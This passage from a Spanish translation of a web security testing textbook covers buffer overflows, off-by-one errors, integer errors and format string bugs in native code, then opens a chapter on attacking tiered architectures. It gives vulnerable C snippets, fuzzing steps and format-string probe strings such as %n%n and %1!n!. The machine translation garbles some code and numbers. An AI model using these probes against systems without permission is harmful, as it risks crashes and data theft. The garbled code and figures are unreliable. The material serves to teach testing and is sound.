copia ilimitada (como strcpy en C) para copiar un búfer de tamaño variable en un búfer de
tamaño fijo sin verificar que el búfer de tamaño fijo sea lo suficientemente grande. Por ejemplo,
Capítulo 16 n Ataque de aplicaciones compiladas nativas 635
la siguiente función copia la cadena del nombre de usuario en un búfer de tamaño fijo asignado
en la pila:
bool CheckLogin(char* nombre de usuario, char* contraseña)

{
char _nombre de usuario[32];
strcpy(_nombre de usuario, nombre de usuario);
...
Si la cadena de nombre de usuario contiene más de 32 caracteres, el búfer _username

se desborda y el atacante sobrescribe los datos en la memoria adyacente.
En un desbordamiento de búfer basado en pila, una explotación exitosa generalmente
implica sobrescribir la dirección de retorno guardada en la pila. Cuando se llama a la función
CheckLogin , el procesador coloca en la pila la dirección de la instrucción que sigue a la llamada.
Cuando finaliza CheckLogin , el procesador extrae esta dirección de la pila y devuelve la
ejecución a esa instrucción. Mientras tanto, la función CheckLogin asigna el búfer _username
en la pila justo al lado de la dirección de retorno guardada. Si un atacante puede desbordar el
búfer _username , puede sobrescribir la dirección de retorno guardada con un valor de su
elección, haciendo que el procesador salte a esta dirección y ejecute código arbitrario.
Desbordamientos de montón
Los desbordamientos de búfer basados en montón involucran esencialmente el mismo tipo de

operación insegura que se describió anteriormente, excepto que el búfer de destino desbordado
se asigna en el montón, no en la pila:

{
char* _nombre de usuario = (char*) malloc(32);
...
En un desbordamiento de búfer basado en montón, lo que suele estar junto al búfer de

destino no es ninguna dirección de retorno guardada, sino otros bloques de memoria de montón,
separados por estructuras de control de montón. El montón se implementa como una lista
doblemente enlazada: cada bloque está precedido en la memoria por una estructura de control
que contiene el tamaño del bloque, un puntero al bloque anterior del montón y un puntero al
siguiente bloque del montón. Cuando se desborda un búfer de montón, la estructura de control
de un bloque de montón adyacente se sobrescribe con datos controlables por el usuario.
Este tipo de vulnerabilidad es menos sencillo de explotar que un desbordamiento basado en
pila, pero un enfoque común es escribir valores manipulados en la estructura de control de
almacenamiento dinámico sobrescrita para provocar una sobrescritura arbitraria de un puntero
crítico en algún momento futuro. Cuando el bloque de montón cuya estructura de control se ha
sobrescrito se libera de la memoria, el administrador de montón necesita actualizar la lista enlazada de
bloques de montón. Para hacer esto, necesita actualizar el puntero de vínculo posterior del
siguiente bloque de almacenamiento dinámico y actualizar el puntero de vínculo directo del
bloque de almacenamiento dinámico anterior para que estos dos elementos en la lista vinculada
se apunten entre sí. Para ello, el administrador del montón utiliza los valores de la estructura de
control sobrescrita. Específicamente, para actualizar el puntero de vínculo posterior del siguiente
bloque, el administrador del montón elimina la referencia del puntero de vínculo directo tomado
de la estructura de control sobrescrita y escribe en la estructura en esta dirección el valor del
puntero de vínculo posterior tomado de la estructura de control sobrescrita. En otras palabras,
escribe un valor controlable por el usuario en una dirección controlable por el usuario. Si un
atacante ha elaborado correctamente sus datos de desbordamiento , puede sobrescribir
cualquier puntero en la memoria con un valor de su elección , con el objetivo de tomar el control
de la ruta de ejecución y, por lo tanto, ejecutar código arbitrario. Los objetivos típicos para la
sobrescritura de puntero arbitrario son el valor de un puntero de función que la aplicación
llamará más tarde y la dirección de un controlador de excepciones que se invocará la próxima vez que ocurra una excepció
NOTA Los compiladores y sistemas operativos modernos han implementado

varias defensas para proteger el software contra errores de programación que
conducen a desbordamientos de búfer. Estas defensas significan que los
desbordamientos del mundo real hoy en día son generalmente más difíciles de
explotar que los ejemplos descritos aquí. Para obtener más información sobre
estas defensas y formas de eludirlas, consulte el Manual de Shellcoder.
Vulnerabilidades "fuera de uno"

Un tipo específico de vulnerabilidad de desbordamiento surge cuando un error de programación
permite que un atacante escriba un solo byte (o una pequeña cantidad de bytes) más allá del
final de un búfer asignado.
Considere el siguiente código, que asigna un búfer en la pila, realiza una
operación de copia de búfer contada y luego termina en nulo la cadena de destino:

{
char _nombre de usuario[32];
ent yo; para (i = 0; nombre de
usuario[i] && i < 32; i++)
_nombre de usuario[i] = nombre de usuario[i];
_nombre de usuario[i] = 0;
...
El código copia hasta 32 bytes y luego agrega el terminador nulo. Por lo tanto, si el
nombre de usuario tiene 32 bytes o más, el byte nulo se escribe más allá del final del
búfer _username , lo que corrompe la memoria adyacente. Esta condición puede ser
explotable. Si el elemento adyacente en la pila es el puntero de marco guardado del
marco de llamada, establecer el byte de orden inferior en cero puede hacer que apunte a
el búfer _username y, por lo tanto, a los datos que controla el atacante. Cuando la función de llamada
regresa, esto puede permitir que un atacante tome el control del flujo de ejecución.
Un tipo similar de vulnerabilidad surge cuando los desarrolladores pasan por alto la necesidad de que
los búferes de cadenas incluyan espacio para un terminador nulo. Considere la siguiente "corrección" al
desbordamiento de almacenamiento dinámico original:

{
char* _nombre de usuario = (char*) malloc(32);
strncpy(_nombre de usuario, nombre de usuario, 32);
...
Aquí, el programador crea un búfer de tamaño fijo en el montón y luego realiza una operación de copia
de búfer contada, diseñada para garantizar que el búfer no se desborde. Sin embargo, si el nombre de
usuario es más largo que el búfer, el búfer se llena por completo con los caracteres del nombre de usuario,
sin dejar espacio para agregar un byte nulo final. Por lo tanto, la versión copiada de la cadena ha perdido su
terminador nulo.
Los lenguajes como C no tienen un registro separado de la longitud de una cadena. El final de la cadena
se indica mediante un byte nulo (es decir, uno con el código de carácter ASCII cero). Si una cadena pierde
su terminador nulo, efectivamente aumenta su longitud y continúa hasta el siguiente byte en la memoria,
que resulta ser cero. Esta consecuencia no deseada a menudo puede causar un comportamiento inusual y
vulnerabilidades dentro de una aplicación.
Los autores encontraron una vulnerabilidad de este tipo en una aplicación web que se ejecuta en un
dispositivo de hardware. La aplicación contenía una página que aceptaba parámetros arbitrarios en una
solicitud POST y devolvía un formulario HTML que contenía los nombres y valores de esos parámetros
como campos ocultos. Por ejemplo:
POST /formRelay.cgi HTTP/1.0

a=b

Fecha: JUEVES, 01 DE SEPTIEMBRE DE 2011 14:53:13 GMT
<html>
<cabeza>
<meta http-equiv=”tipo de contenido” content=”text/html;charset=iso-8859-1”>
</cabeza>
<form name=”FORM_RELAY” action=”page.cgi” method=”POST”> <input type=”hidden” name=”a”
value=”b”>
</formulario>
<cuerpo onLoad=”document.FORM_RELAY.submit();”>
</cuerpo>
</html>
Por alguna razón, esta página se usó en toda la aplicación para procesar todo tipo de
entradas de los usuarios, muchas de las cuales eran confidenciales. Sin embargo, si se
enviaron 4096 o más bytes de datos, el formulario devuelto también contenía los parámetros
enviados por la solicitud anterior a la página, incluso si estos fueron enviados por un usuario
diferente. Por ejemplo:
POST /formRelay.cgi HTTP/1.0

a=bbbbbbbbbbbbb[muchas más b]

Fecha: JUEVES, 01 DE SEPTIEMBRE DE 2011 14:58:31 GMT
<html>
<cabeza>
<meta http-equiv=”tipo de contenido” content=”text/html;charset=iso-8859-1”>

</cabeza>
<form name=”FORM_RELAY” action=”page.cgi” method=”POST”> <input type=”hidden” name=”a”
value=”bbbbbbbbbbbbb[muchas más b's]”> <input type=”hidden” name=”strUsername” value=”agriffiths”> <input
type=”hidden” name=”strPassword” value=”aufwiedersehen”> <input type=“hidden“ name=“Iniciar sesión“ value=“Iniciar
sesión“>
</formulario>
<body onLoad="document.FORM_RELAY.submit();">
</cuerpo>
</html>
Habiendo identificado esta vulnerabilidad, fue posible sondear la página vulnerable

continuamente con datos demasiado extensos y analizar las respuestas para registrar cada
dato enviado a la página por otros usuarios. Esto incluía credenciales de inicio de sesión y
otra información confidencial.
La causa principal de la vulnerabilidad era que los datos proporcionados por el usuario se
almacenaban como cadenas terminadas en nulo dentro de bloques de memoria de 4096 bytes.
Los datos se copiaron en una operación verificada, por lo que no fue posible un
desbordamiento directo . Sin embargo, si se enviaba una entrada demasiado larga, la
operación de copia provocaba la pérdida del terminador nulo, por lo que la cadena fluía a los
siguientes datos en la memoria. Por lo tanto, cuando la aplicación analizó los parámetros de
la solicitud, continuó hasta el siguiente byte nulo y, por lo tanto, incluyó los parámetros
proporcionados por otro usuario.
Detección de vulnerabilidades de desbordamiento de búfer
La metodología básica para detectar vulnerabilidades de desbordamiento de búfer es enviar largas

cadenas de datos a un objetivo identificado y monitorear los resultados anómalos. En algunos
casos, existen vulnerabilidades sutiles que solo pueden detectarse enviando una cadena demasiado
larga de una longitud específica, o dentro de un rango pequeño de longitudes. Sin embargo, en la
mayoría de los casos, las vulnerabilidades se pueden detectar simplemente enviando una cadena
más larga de lo que espera la aplicación.
Los programadores suelen crear búferes de tamaño fijo utilizando números redondos en decimal
o hexadecimal, como 32, 100, 1024, 4096, etc. Un enfoque simple para detectar cualquier “fruta al
alcance de la mano” dentro de la aplicación es enviar cadenas largas a medida que se identifica
cada elemento de los datos de destino y monitorear las respuestas del servidor en busca de anomalías.
PASOS DE HACK
1. Para cada elemento de datos de destino, envíe un rango de cadenas largas con
longitudes un poco más largas que los tamaños de búfer comunes. Por ejemplo:
1100
4200
33000
2. Apunte a un elemento de datos a la vez para maximizar la cobertura de rutas de código

dentro de la aplicación.
3. Puede usar la fuente de carga útil de bloques de caracteres en Burp Intruder para generar
automáticamente cargas útiles de varios tamaños.
4. Supervise las respuestas de la aplicación para identificar cualquier anomalía. un contra

Es casi seguro que el desbordamiento controlado provoque una excepción en la aplicación.
Detectar cuándo ha ocurrido esto en un proceso remoto es difícil, pero aquí hay algunos
eventos anómalos que debe buscar:
n Un código de estado HTTP 500 o mensaje de error, donde otra entrada incorrecta
(pero no demasiado larga) no tiene el mismo efecto
n Un mensaje informativo, indicando que ocurrió una falla en algún

componente de código nativo
n Se recibe una respuesta parcial o mal formada del servidor n La conexión
TCP con el servidor se cierra abruptamente sin devolver un

respuesta
n Toda la aplicación web deja de responder
5. Tenga en cuenta que cuando se activa un desbordamiento basado en montón, esto puede resultar en un
accidente en algún momento futuro, en lugar de inmediatamente. Es posible que deba
experimentar para identificar uno o más casos de prueba que estén causando daños en el montón.
6. Es posible que una vulnerabilidad aislada no provoque un bloqueo, pero puede provocar
un comportamiento anómalo, como que la aplicación devuelva datos inesperados.
En algunos casos, sus casos de prueba pueden bloquearse mediante comprobaciones de

validación de entrada implementadas dentro de la propia aplicación o por otros componentes,
como el servidor web. Esto ocurre a menudo cuando se envían datos demasiado largos dentro
de la cadena de consulta de URL y puede indicarse mediante un mensaje genérico como "URL
demasiado larga" en respuesta a cada caso de prueba. En esta situación, debe experimentar
para determinar la longitud máxima de URL permitida (que suele ser de unos 2000 caracteres)
y ajustar los tamaños de búfer para que sus casos de prueba cumplan con este requisito. Es
posible que aún existan desbordamientos detrás del filtrado de longitud genérica, que pueden
ser activados por cadenas lo suficientemente cortas como para superar ese filtrado.
En otros casos, los fi ltros pueden restringir el tipo de datos o el rango de caracteres que se
pueden enviar dentro de un parámetro en particular. Por ejemplo, una aplicación puede validar
que un nombre de usuario enviado contiene solo caracteres alfanuméricos antes de pasarlo a
una función que contiene un desbordamiento. Para maximizar la efectividad de sus pruebas,
debe intentar asegurarse de que cada caso de prueba contenga solo los caracteres permitidos
en el parámetro relevante. Una técnica efectiva para lograr esto es capturar una solicitud
normal que contenga datos que la aplicación acepta y extender cada parámetro específico a
su vez, usando los mismos caracteres que ya contiene, para crear una cadena larga que
probablemente pase cualquier información basada en contenido. fi ltros.
Incluso si está seguro de que existe una condición de desbordamiento de búfer, explotarla
de forma remota para lograr la ejecución de código arbitrario es extremadamente difícil. Peter
Winter Smith de NGSSoftware ha producido una investigación interesante sobre las
posibilidades de explotación de desbordamiento de búfer ciego. Para obtener más información,
consulte el siguiente documento técnico:
www.ngssoftware.com/papers/NISR.BlindExploitation.pdf
Vulnerabilidades de enteros
Las vulnerabilidades relacionadas con números enteros suelen surgir cuando una aplicación
realiza alguna aritmética en un valor de longitud antes de realizar alguna operación de búfer,
pero no tiene en cuenta ciertas características de cómo los compiladores y procesadores
manejan los números enteros. Dos tipos de errores de enteros son dignos de mención:
desbordamientos y errores de firma.
Desbordamientos de enteros
Estos ocurren cuando una operación en un valor entero hace que aumente por encima de su
valor máximo posible o disminuya por debajo de su valor mínimo posible.
Cuando esto ocurre, el número se ajusta, por lo que un número muy grande se vuelve muy
pequeño, o viceversa.
Considere la siguiente "corrección" para el desbordamiento de almacenamiento dinámico descrito anteriormente:

{
len corto sin firmar = strlen (nombre de usuario) + 1;
char* _nombre de usuario = (char*) malloc(len);
...
Aquí, la aplicación mide la longitud del nombre de usuario enviado por el usuario, agrega 1
para acomodar el nulo final, asigna un búfer del tamaño resultante y luego copia el nombre de
usuario en él. Con una entrada de tamaño normal, este código se comporta según lo previsto. Sin
embargo, si el usuario envía un nombre de usuario de 65 535 caracteres, se produce un
desbordamiento de enteros. Un entero de tamaño pequeño contiene 16 bits, lo que es suficiente
para que su valor oscile entre 0 y 65.535. Cuando se envía una cadena de longitud 65.535 , el
programa agrega 1 a esto y el valor cambia a 0. Se asigna un búfer de longitud cero y se copia
en él el nombre de usuario largo, lo que provoca un desbordamiento del montón. El atacante ha
subvertido efectivamente el intento del programador de asegurarse de que el búfer de destino sea
lo suficientemente grande.
Errores de firma
Esto ocurre cuando una aplicación usa enteros con y sin signo para medir la longitud de los
búferes y los confunde en algún momento. La aplicación realiza una comparación directa entre un
valor con signo y sin signo, o pasa un valor con signo como parámetro a una función que toma un
valor sin signo. En ambos casos, el valor con signo se trata como su equivalente sin signo, lo que
significa que un número negativo se convierte en un número positivo grande.
Considere la siguiente "corrección" para el desbordamiento de pila descrito anteriormente:
bool CheckLogin(char* nombre de usuario, int len, char* contraseña)

{
char _nombre de usuario[32] = “”; si
(largo < 32)
strncpy(_nombre de usuario, nombre de usuario, largo);
...
Aquí, la función toma tanto el nombre de usuario proporcionado por el usuario como un entero
con signo que indica su longitud. El programador crea un búfer de tamaño fijo en la pila y verifica
si la longitud es menor que el tamaño del búfer. Si es así, el programador realiza una copia de
búfer contada, diseñada para garantizar que el búfer no se desborde.
Si el parámetro len es un número positivo, este código se comporta según lo previsto.

Sin embargo, si un atacante puede hacer que se pase un valor negativo a la función, se subvierte
la verificación de protección del programador. La comparación con 32 todavía
tiene éxito, porque el compilador trata ambos números como enteros con signo. Por
lo tanto, la longitud negativa se pasa a la función strncpy como su parámetro de conteo.
Debido a que strncpy toma un entero sin signo como este parámetro, el compilador convierte
implícitamente el valor de len en este tipo, por lo que el valor negativo se trata como un número
positivo grande. Si la cadena de nombre de usuario proporcionada por el usuario tiene más de 32
bytes, el búfer se desborda como en un desbordamiento estándar basado en pila.
Este tipo de ataque generalmente solo es factible cuando el atacante puede controlar
directamente un parámetro de longitud. Por ejemplo, tal vez se calcula mediante JavaScript del
lado del cliente y se envía con una solicitud junto con la cadena a la que se refiere.
Sin embargo, si la variable entera es lo suficientemente pequeña (por ejemplo, corta) y el
programa calcula la longitud en el lado del servidor, un atacante también puede introducir un valor
negativo a través de un desbordamiento de enteros al enviar una cadena demasiado larga al
solicitud.
Detección de vulnerabilidades de enteros

Naturalmente, las ubicaciones principales para sondear vulnerabilidades de enteros son cualquier
instancia en la que se envíe un valor entero desde el cliente al servidor. Este comportamiento
suele presentarse de dos formas diferentes:
n La aplicación puede pasar valores enteros de la forma habitual como parámetros

dentro de la cadena de consulta, las cookies o el cuerpo del mensaje. Estos números
generalmente se representan en forma decimal utilizando caracteres ASCII estándar.
Los objetivos más probables para la prueba son campos que parecen representar la
longitud de una cadena que también se envía. n La aplicación puede pasar valores enteros
incrustados dentro de un blob más grande de datos binarios. Estos datos pueden tener su
origen en un componente del lado del cliente , como un control ActiveX, o pueden haber
sido transmitidos a través del cliente en un campo de formulario oculto o en una cookie
(consulte el Capítulo 5). Los enteros relacionados con la longitud pueden ser más difíciles
de identificar en este contexto. Por lo general, se representan en forma hexadecimal y, a
menudo, preceden directamente a la cadena o al búfer con el que se relacionan. Tenga
en cuenta que los datos binarios pueden codificarse utilizando Base64 o esquemas
similares para la transmisión a través de HTTP.
PASOS DE HACK
1. Habiendo identificado los objetivos para la prueba, debe enviar las cargas útiles adecuadas
diseñado para desencadenar cualquier vulnerabilidad. Para cada elemento de datos
objetivo, envíe una serie de valores diferentes a su vez, que representen casos límite
para las versiones firmadas y sin firmar de diferentes tamaños de enteros. Por ejemplo:
n 0x7f y 0x80 (127 y 128) n 0xff y 0x100 (255 y 256)

n 0x7ffff y 0x8000 (32767 y 32768) n

0xffff y 0x10000 (65535 y 65536) n
0x7fffffff y 0x80000000 (2147483647 y 2147483648) n
0xffffffff y 0x0 (4295 y 9 6)
2. Cuando los datos que se modifican se representan en forma

hexadecimal, debe enviar versiones little-endian y big-endian de
cada caso de prueba, por ejemplo, ff7f y 7fff. Si los números
hexadecimales se envían en formato ASCII, debe usar el mismo
caso que la aplicación usa para los caracteres alfabéticos para
asegurarse de que estos se decodifiquen correctamente.
3. Debe monitorear las respuestas de la aplicación en busca de eventos anómalos de la
misma manera que se describe para las vulnerabilidades de desbordamiento del búfer.
Vulnerabilidades de cadena de formato
Las vulnerabilidades de las cadenas de formato surgen cuando la entrada controlable por el
usuario se pasa como parámetro de la cadena de formato a una función que toma
especificadores de formato que pueden ser mal utilizados, como en la familia de funciones
printf en C. Estas funciones toman una cantidad variable de parámetros, que pueden constan
de diferentes tipos de datos, como números y cadenas. La cadena de formato que se pasa a
la función contiene especifi cadores, que le indican qué tipo de datos están contenidos en los
parámetros de la variable y en qué formato deben representarse.
Por ejemplo, el siguiente código genera un mensaje que contiene el valor de la variable de
conteo , representado como un decimal:
printf(“El valor de cuenta es %d”, cuenta.);
El especificador de formato más peligroso es %n. Esto no hace que se imprima ningún
dato. Más bien, hace que el número de bytes de salida hasta el momento se escriba en la
dirección del puntero pasado como el parámetro variable asociado. Por ejemplo:
recuento int = 43;

int escrito = 0;
printf(“El valor de cuenta es %d%n.\n”, cuenta, &escrito.); printf(“Se imprimieron %d bytes.
\n”, escritos);
genera lo siguiente:
El valor de cuenta es 43.

Se imprimieron 24 bytes.
Si la cadena de formato contiene más especificadores que el número de parámetros

variables pasados, la función no tiene forma de detectarlo, por lo que simplemente
continúa procesando los parámetros de la pila de llamadas.
Si un atacante controla todo o parte de la cadena de formato que se pasa a una función de
estilo printf , generalmente puede aprovechar esto para sobrescribir partes críticas de la memoria
del proceso y, en última instancia, provocar la ejecución de código arbitrario. Debido a que el
atacante controla la cadena de formato, puede controlar tanto la cantidad de bytes que genera la
función como el puntero en la pila que se sobrescribe con la cantidad de bytes que genera. Esto le
permite sobrescribir una dirección de retorno guardada o un puntero a un controlador de
excepciones y tomar el control de la ejecución de la misma manera que en un desbordamiento de
pila.
Detección de vulnerabilidades de cadena de formato

La forma más confiable de detectar errores de cadenas de formato en una aplicación remota es
enviar datos que contengan varios especificadores de formato y monitorear cualquier anomalía en
el comportamiento de la aplicación. Al igual que con la activación incontrolada de vulnerabilidades
de desbordamiento de búfer , es probable que la búsqueda de fallas de cadena de formato
provoque un bloqueo dentro de una aplicación vulnerable.
PASOS DE HACK
1. Dirigiéndose a cada parámetro por turno, envíe cadenas que contengan un gran número
de los especificadores de formato %n y %s:
%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Tenga en cuenta que algunas operaciones de cadena de formato pueden ignorar el

especificador %n por razones de seguridad. En su lugar, proporcionar el especificador
%s hace que la función elimine la referencia de cada parámetro en la pila, lo que
probablemente resulte en una infracción de acceso si la aplicación es vulnerable.
2. La función Windows FormatMessage usa especificadores de una manera diferente a la

familia printf. Para probar las llamadas vulnerables a esta función, debe usar las
siguientes cadenas:
%1!n!%2!n!%3!n!%4!n!%5!n!%6!n!%7!n!%8!n!%9!n!%10!n! etc...
%1!s!%2!s!%3!s!%4!s!%5!s!%6!s!%7!s!%8!s!%9!s!%10!s! etc...
3. Recuerde codificar en URL el carácter % como %25.
4. Debe monitorear las respuestas de la aplicación en busca de eventos anómalos de la

misma manera que se describe para las vulnerabilidades de desbordamiento del búfer.
Resumen
Las vulnerabilidades de software en código nativo representan un área relativamente
específica en relación con los ataques a las aplicaciones web. La mayoría de las aplicaciones
se ejecutan en un entorno de ejecución gestionada en el que no se presentan las fallas de
software clásicas descritas en este capítulo. Sin embargo, ocasionalmente este tipo de
vulnerabilidades son muy relevantes y se ha descubierto que afectan a muchas aplicaciones
web que se ejecutan en dispositivos de hardware y otros entornos no administrados. Una
gran proporción de tales vulnerabilidades se pueden detectar enviando un conjunto específico
de casos de prueba al servidor y monitoreando su comportamiento.
Algunas vulnerabilidades en las aplicaciones nativas son relativamente fáciles de
explotar, como la vulnerabilidad off-by-one descrita en este capítulo. Sin embargo, en la
mayoría de los casos, son difíciles de explotar debido al acceso remoto a la aplicación vulnerable.
A diferencia de la mayoría de los otros tipos de vulnerabilidades de aplicaciones web, es muy probable
que incluso el acto de sondear fallas de software clásicas provoque una condición de denegación de
servicio si la aplicación es vulnerable. Antes de realizar cualquier prueba de este tipo, debe asegurarse
de que el propietario de la aplicación acepte los riesgos inherentes involucrados.
Preguntas
1. A menos que existan defensas especiales, ¿por qué los desbordamientos de búfer basados en
pilas suelen ser más fáciles de explotar que los desbordamientos basados en pilas?
2. En los lenguajes C y C++, ¿cómo se determina la longitud de una cadena?
3. ¿Por qué una vulnerabilidad de desbordamiento de búfer en un dispositivo de red comercial

normalmente tiene una probabilidad de explotación mucho mayor que un desbordamiento en una
aplicación web propietaria que se ejecuta en Internet?
4. ¿Por qué la siguiente cadena fuzz no identifica muchas instancias de vulnerabilidades de cadena
de formato?
%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n %n%n%n%n%n...
5. Está buscando vulnerabilidades de desbordamiento de búfer en una aplicación web que hace un
uso extensivo de componentes de código nativo. Encuentra una solicitud que puede contener
una vulnerabilidad en uno de sus parámetros; sin embargo, el comportamiento anómalo que ha
observado es difícil de reproducir de forma fiable.
A veces, enviar un valor largo provoca un bloqueo inmediato. A veces , debe enviarlo varias
veces seguidas para provocar un bloqueo. Y , a veces, se produce un bloqueo después de una
gran cantidad de solicitudes benignas.
¿Cuál es la causa más probable del comportamiento de la aplicación?

CAPÍTULO R
17
Aplicación atacante
Arquitectura
La arquitectura de aplicaciones web es un área importante de seguridad que con frecuencia se

pasa por alto cuando se evalúa la seguridad de aplicaciones individuales. En las arquitecturas
en niveles de uso común, la falla en la segregación de diferentes niveles a menudo significa
que un solo defecto en un nivel puede explotarse para comprometer completamente a otros
niveles y, por lo tanto, a toda la aplicación.
Una gama diferente de amenazas de seguridad surge en entornos donde varias aplicaciones
están alojadas en la misma infraestructura, o incluso comparten componentes comunes de una
aplicación global más amplia. En estas situaciones, los defectos o el código malicioso dentro
de una aplicación a veces pueden explotarse para comprometer todo el entorno y otras
aplicaciones que pertenecen a diferentes clientes. El reciente auge de la informática en la
“nube” ha aumentado la exposición de muchas organizaciones a ataques de este tipo.
Este capítulo examina una gama de diferentes configuraciones arquitectónicas y describe

cómo puede explotar los defectos dentro de las arquitecturas de las aplicaciones para avanzar
en su ataque.
Arquitecturas escalonadas
La mayoría de las aplicaciones web utilizan una arquitectura de varios niveles, en la que la
interfaz de usuario, la lógica empresarial y el almacenamiento de datos de la aplicación se
dividen en múltiples capas, que pueden utilizar diferentes tecnologías y ser implementadas en diferentes
647
648 Capítulo 17 n Arquitectura de aplicaciones de ataque
computadoras físicas. Una arquitectura común de tres niveles involucra las siguientes
capas:
n Capa de presentación, que implementa la interfaz de la aplicación n Capa de

aplicación, que implementa la lógica central de la aplicación n Capa de datos,
que almacena y procesa los datos de la aplicación
En la práctica, muchas aplicaciones empresariales complejas emplean una división más

detallada entre niveles. Por ejemplo, una aplicación basada en Java puede usar las siguientes
capas y tecnologías:
n Capa de servidor de aplicaciones (como Tomcat)

n Capa de presentación (como WebWork) n Capa
de autorización y autenticación (como JAAS o ACEGI) n Marco de aplicaciones
central (como Struts o Spring) n Capa de lógica comercial (como Enterprise Java
Beans ) n Mapeo relacional de objetos de base de datos (como Hibernate) n
Llamadas JDBC de base de datos
n Servidor de base de datos
Una arquitectura de varios niveles tiene varias ventajas sobre un diseño de un solo nivel.
Al igual que con la mayoría de los tipos de software, dividir las tareas de procesamiento
altamente complejas en componentes funcionales simples y modulares puede brindar enormes
beneficios en términos de administrar el desarrollo de la aplicación y reducir la incidencia de errores.
Los componentes individuales con interfaces bien definidas se pueden reutilizar fácilmente
tanto dentro como entre diferentes aplicaciones. Diferentes desarrolladores pueden trabajar
en paralelo en componentes sin necesidad de un conocimiento profundo de los detalles de
implementación de otros componentes. Si es necesario reemplazar la tecnología utilizada
para una de las capas, esto se puede lograr con un impacto mínimo en las otras capas.
Además, si se implementa bien, una arquitectura de varios niveles puede ayudar a mejorar
la postura de seguridad de toda la aplicación.
Atacando arquitecturas escalonadas

Una consecuencia del punto anterior es que si existen defectos dentro de la
implementación de una arquitectura multinivel, estos pueden introducir vulnerabilidades de seguridad.
Comprender el modelo de varios niveles puede ayudarlo a atacar una aplicación web al
ayudarlo a identificar dónde se implementan las diferentes defensas de seguridad (como los
controles de acceso y la validación de entrada) y cómo pueden colapsar entre los límites de
los niveles. Una arquitectura en niveles mal diseñada puede hacer posibles tres amplias
categorías de ataques:
n Es posible que pueda explotar las relaciones de confianza entre diferentes niveles para
avanzar un ataque de un nivel a otro.
Capítulo 17 n Arquitectura de aplicaciones de ataque 649
n Si los diferentes niveles están separados de manera inadecuada, es posible que pueda
aprovechar un defecto dentro de un nivel para socavar directamente las protecciones de
seguridad implementadas en otro nivel.
n Habiendo logrado un compromiso limitado de un nivel, es posible que pueda atacar

directamente la infraestructura que respalda otros niveles y, por lo tanto, extender su
compromiso a esos niveles.
Examinaremos estos ataques con más detalle.
Explotación de relaciones de confianza entre niveles
Los diferentes niveles de una aplicación pueden confiar unos en otros para comportarse de formas
particulares. Cuando la aplicación funciona con normalidad, estas suposiciones pueden ser válidas.
Sin embargo, en condiciones anómalas o bajo un ataque activo, pueden romperse. En esta
situación, es posible que pueda explotar estas relaciones de confianza para hacer avanzar un
ataque de un nivel a otro, lo que aumenta la importancia de la brecha de seguridad.
Una relación de confianza común que existe en muchas aplicaciones empresariales es que el
nivel de la aplicación tiene la responsabilidad exclusiva de administrar el acceso de los usuarios.
Este nivel maneja la autenticación y la gestión de sesiones e implementa toda la lógica que
determina si se debe conceder una solicitud en particular. Si el nivel de aplicación decide conceder
una solicitud, emite los comandos pertinentes a otros niveles para llevar a cabo las acciones
solicitadas. Esos otros niveles confían en el nivel de la aplicación para realizar las comprobaciones
de control de acceso correctamente y, por lo tanto, respetan todos los comandos que reciben del
nivel de la aplicación.
Este tipo de relación de confianza exacerba muchas de las vulnerabilidades web comunes
examinadas en capítulos anteriores. Cuando existe una falla de inyección SQL , a menudo se
puede explotar para acceder a todos los datos que posee la aplicación. Incluso si la aplicación no
accede a la base de datos como DBA, generalmente usa una sola cuenta que puede leer y
actualizar todos los datos de la aplicación. El nivel de la base de datos confía efectivamente en el
nivel de la aplicación para controlar adecuadamente el acceso a sus datos.
De manera similar, los componentes de la aplicación a menudo se ejecutan utilizando potentes
cuentas del sistema operativo que tienen permiso para realizar acciones confidenciales y acceder
a archivos clave. En esta configuración, la capa del sistema operativo confía efectivamente en los
niveles de aplicación relevantes para no realizar acciones no deseadas. Si un atacante encuentra
una falla de inyección de comando, a menudo puede comprometer completamente el sistema
operativo subyacente que respalda el nivel de aplicación comprometido.
Las relaciones de confianza entre niveles también pueden generar otros problemas. Si existen
errores de programación dentro de un nivel de aplicación, estos pueden provocar un comportamiento
anómalo en otros niveles. Por ejemplo, la condición de carrera descrita en el Capítulo 11 hace que
la base de datos de back-end proporcione información de cuenta que pertenece al usuario
equivocado. Además, cuando los administradores están investigando un evento inesperado o una
brecha de seguridad, los registros de auditoría dentro de los niveles de confianza normalmente
son insuficientes para comprender completamente lo que ha ocurrido, porque simplemente identifican el
nivel de confianza como agente del evento. Por ejemplo, después de un ataque de inyección
SQL, los registros de la base de datos pueden registrar cada consulta inyectada por el
atacante. Pero para determinar el usuario responsable, debe cotejar estos eventos con las
entradas en los registros del nivel de la aplicación, que pueden o no ser adecuados para
identificar al perpetrador.
Subvertir otros niveles

Si los diferentes niveles de la aplicación no se segregan adecuadamente, un atacante
que comprometa un nivel puede socavar directamente las protecciones de seguridad
implementadas en otro nivel para realizar acciones o acceder a datos que ese nivel es
responsable de controlar.
Este tipo de vulnerabilidad suele surgir en situaciones en las que se implementan
varios niveles diferentes en el mismo equipo físico. Esta configuración arquitectónica es
una práctica común en situaciones donde el costo es un factor clave.
Acceder a algoritmos de descifrado

Muchas aplicaciones cifran datos de usuario confidenciales para minimizar el impacto
del compromiso de la aplicación, a menudo para cumplir con los requisitos reglamentarios
o de cumplimiento, como PCI. Aunque las contraseñas se pueden saltear y codificar para
garantizar que no se puedan determinar incluso si el almacén de datos se ve
comprometido, se necesita un enfoque diferente para los datos en los que la aplicación
necesita recuperar el valor de texto sin formato correspondiente. Los ejemplos más
comunes de esto son las preguntas de seguridad de un usuario (que se pueden verificar
de forma interactiva con un servicio de asistencia) y la información de la tarjeta de pago
(que se necesita para procesar los pagos). Para lograr esto, se emplea un algoritmo de
cifrado bidireccional . Una falla típica cuando se usa el cifrado es que no se obtiene una
separación lógica entre las claves de cifrado y los datos cifrados. Una simple separación
defectuosa cuando se introduce el cifrado en un entorno existente es ubicar el algoritmo
y las claves asociadas dentro del nivel de datos, lo que evita afectar el resto del código.
Pero si el nivel de datos se viera comprometido alguna vez, por ejemplo mediante un
ataque de inyección SQL, ubicar y ejecutar la función de descifrado sería un paso simple para un atacante.
NOTA Independientemente del proceso de cifrado, si la aplicación es capaz

de descifrar información y la aplicación se ve completamente comprometida,
un atacante siempre puede encontrar una ruta lógica hacia el algoritmo de descifrado.
Uso del acceso de lectura de archivos para extraer

datos de MySQL Muchas aplicaciones pequeñas usan un servidor LAMP (una sola
